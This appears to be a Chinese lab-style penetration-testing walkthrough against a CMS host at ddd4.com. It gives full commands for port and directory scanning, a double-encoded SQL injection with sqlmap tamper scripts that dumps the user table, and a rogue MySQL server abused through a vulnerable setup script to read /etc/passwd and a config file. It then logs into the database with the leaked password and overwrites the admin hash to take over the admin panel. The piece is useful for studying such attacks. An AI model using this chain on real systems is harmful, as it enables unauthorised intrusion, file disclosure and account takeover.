当前位置: 首页 > news >正文

linux内网渗透

一、信息收集

主机发现:

nmap -sP 192.168.16.0/24 

image-20230907093028243

端口探测

masscan -p 1-65535 192.168.16.168 --rate=1000                     

开放端口如下

image-20230907093404057

nmap端口详细信息获取

nmap -sC -p 8888,3306,888,21,80 -A 192.168.16.168 -oA ddd4-port

image-20230907102050999

目录扫描

gobuster dir -u http://www.ddd4.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x 'php,zip,html,rar' -oddd4.log --wildcard  | grep -v 11807 | grep -v "Size: 49" 

or

image-20230907103410765

二、sql注入

sqlmap二次编码注入

注入分析

查询地址:

http://www.ddd4.com/search?keyword=12

image-20230907104149886

使用’看到被提示非法字符,进行编码尝试

image-20230907104214927

单次编码后报错,原因是代码中进行了解码,这里需要编码后的再次进行编码后实现二次编码进行绕过

image-20230907104452169

报错存在注入

image-20230907104539458

sqlmap注入

测试注入

sqlmap -u http://www.ddd4.com/search?keyword=1 --batch 

image-20230907104851326

绕过列出当前数据库:

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py --current-db#sqlmap中的tamper给我们带来了很多防过滤的脚本

image-20230907105253134

列出当前数据库中的表

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com --tables 

image-20230907105448272

查看表中的数据内容

sqlmap -u http://www.ddd4.com/search?keyword=11 --dbms mysql --batch --tamper chardoubleencode.py -D www_ddd4_com -T doc_user --dump

image-20230907110233741

9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c    admin@localhost 

发现密码被加密信息,解密失败

<?php
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
$rs = mysql_query('show databases;');
while($row = mysql_fetch_assoc($rs)){
$data[] = $row['Database'];
}
unset($rs, $row);
mysql_close();
if (in_array(strtolower($dbname), $data)){
echo '1';
}else{
echo '0';
}
}elseif($_GET['action']=="creatdb"){
if(!$dbname){
die('0');
}
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8
COLLATE utf8_general_ci",$con)){
echo "1";
}else{
echo mysql_error();
}
mysql_close($con);
}
exit;
?>
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}

三、mysql客户端任意文件读取

源码

<?php
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
$rs = mysql_query('show databases;');
while($row = mysql_fetch_assoc($rs)){
$data[] = $row['Database'];
}
unset($rs, $row);
mysql_close();
if (in_array(strtolower($dbname), $data)){
echo '1';
}else{
echo '0';
}
}elseif($_GET['action']=="creatdb"){
if(!$dbname){
die('0');
}
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
if (mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8COLLATE utf8_general_ci",$con)){
echo "1";
}else{
echo mysql_error();
}
mysql_close($con);
}
exit;
?>
$dbhost = $_REQUEST['dbhost'];
$uname = $_REQUEST['uname'];
$pwd = $_REQUEST['pwd'];
$dbname = $_REQUEST['dbname'];
if($_GET['action']=="chkdb"){
$con = @mysql_connect($dbhost,$uname,$pwd);
if (!$con){
die('-1');
}
这段PHP代码是一个非常不安全的数据库操作代码,存在严重的安全漏洞,特别是由于使用了mysql_*函数,这些函数在现代PHP版本中已被弃用。此代码用于执行数据库操作,包括检查数据库是否存在(chkdb)和创建数据库(creatdb),具体如下:用户通过HTTP GET或POST请求向脚本提供以下参数:dbhost:数据库主机名或IP地址。
uname:数据库用户名。
pwd:数据库密码。
dbname:数据库名称。
action:用于确定要执行的操作(chkdb表示检查数据库是否存在,creatdb表示创建数据库)。
如果action参数的值是"chkdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个SHOW DATABASES查询,获取数据库列表,并将这些数据库名称存储在数组$data中。脚本然后关闭数据库连接,并检查指定的数据库名称是否存在于$data数组中。如果存在,脚本返回"1",表示数据库存在。否则,返回"0",表示数据库不存在。如果action参数的值是"creatdb",则脚本会尝试连接到MySQL数据库服务器。如果连接失败,脚本将返回"-1"。如果连接成功,则脚本将执行一个CREATE DATABASE查询,用指定的数据库名称创建一个新的数据库。如果创建成功,脚本返回"1",否则返回MySQL的错误信息。

exp下载地址:

https://github.com/allyshka/Rogue-MySql-Server

执行该脚本:该脚本默认读取/etc/passwd

python2 rogue_mysql_server.py

image-20230918172457029

kali内访问:

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb#这里ip是填kali的ip

image-20230918173310074

这时候已经读取到/etc/passwd了

cat mysql.log   

image-20230918173533182

更换读取mysql配置文件

/www/wwwroot/www.ddd4.com/config/doc-config-cn.php

image-20230919115948287

浏览器访问

http://www.ddd4.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=192.168.16.182&action=chkdb

读取mysql配置信息成功

image-20230919140909259

可以看到mysql的密码:

DB_DBNAME:www_ddd4_com

'DB_PASSWORD:x4ix6ZrM7b8nFYHn

四、登录 mysql

1.列出当前数据库用户

sqlmap -u http://www.ddd4.com/search?keyword=1  --dbms mysql -v 1 --tamper chardoubleencode.py  --current-user   --batch

image-20230919113503442

用户:www_ddd4_com@localhost

因此目前可知:

得到数据库连接文件
dbname www_ddd4_com
username www_ddd4_com
password x4ix6ZrM7b8nFYHn

2.数据库连接

└─# mysql -h192.168.16.169 -uwww_ddd4_com -px4ix6ZrM7b8nFYHnip为对方主机ip

连接对方数据库成功image-20230919150633720

查看www_ddd4_com数据库中doc_user表的内容

MySQL [www_ddd4_com]> select * from doc_user ;

image-20230919151426967

看到密文:

 admin@localhost | admin    | 9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c 

3.密文替换登录

源代码中成加密后的admin密码,这里下载不到源码是网上已经有的

生成密文 admin 的明文为 33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

mysql执行替换语句:

MySQL [www_ddd4_com]> 
update doc_user set
pwd='9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c ' where id=1;
Query OK, 1 row affected (0.005 sec)
Rows matched: 1 Changed: 1 Warnings: 0

image-20230919154438787

成功进入后台:

image-20230919171545045

http://www.lryc.cn/news/170729.html

相关文章:

  • 还没用熟 TypeScript 社区已经开始抛弃了
  • 2023年9月19日
  • PowerDesigner 与 mysql 同步数据
  • [python 刷题] 271 Encode and Decode Strings
  • [QT]day3
  • 《PostgreSQL事务管理深入解析》
  • 深度分析Oracle中的NULL
  • Python入门教学——类和对象
  • 【数据库系统概论】关系数据库中的关系数据结构
  • LabVIEW对Table中同一行数据分多次增加
  • 微信小程序实现删除功能
  • 整合Shiro+Jwt
  • Python 图形化界面基础篇:创建工具栏
  • 基于matlab实现的卡尔曼滤波匀加速直线运动仿真
  • windows Visual Studio 2022 opengl开发环境配置
  • 中国财政科学研究院党委书记、院长刘尚希一行莅临麒麟信安调研
  • 基于element-ui的年份范围选择器
  • 【已解决】您所使用的密钥ak有问题,不支持jsapi服务,可以访问该网址了解如何获取有效密钥。
  • JS操作数组方法学习系列(1)
  • 翻牌闯关游戏
  • CilckHouse创建表
  • 高级运维学习(八)Ceph 概述与部署
  • 【图像处理】VS编译opencv源码,并调用编译生成的库
  • STM32 EtherCAT 总线型(1 拖 4)步进电机解决方案
  • Postman应用——测试脚本Test Script
  • JS的网络状态以及强网弱网详解
  • 大数据-kafka学习笔记
  • 详述RPA项目管理流程,RPA项目管理流程是什么?
  • 爬虫 — Js 逆向
  • Python 网络爬取的时候使用那种框架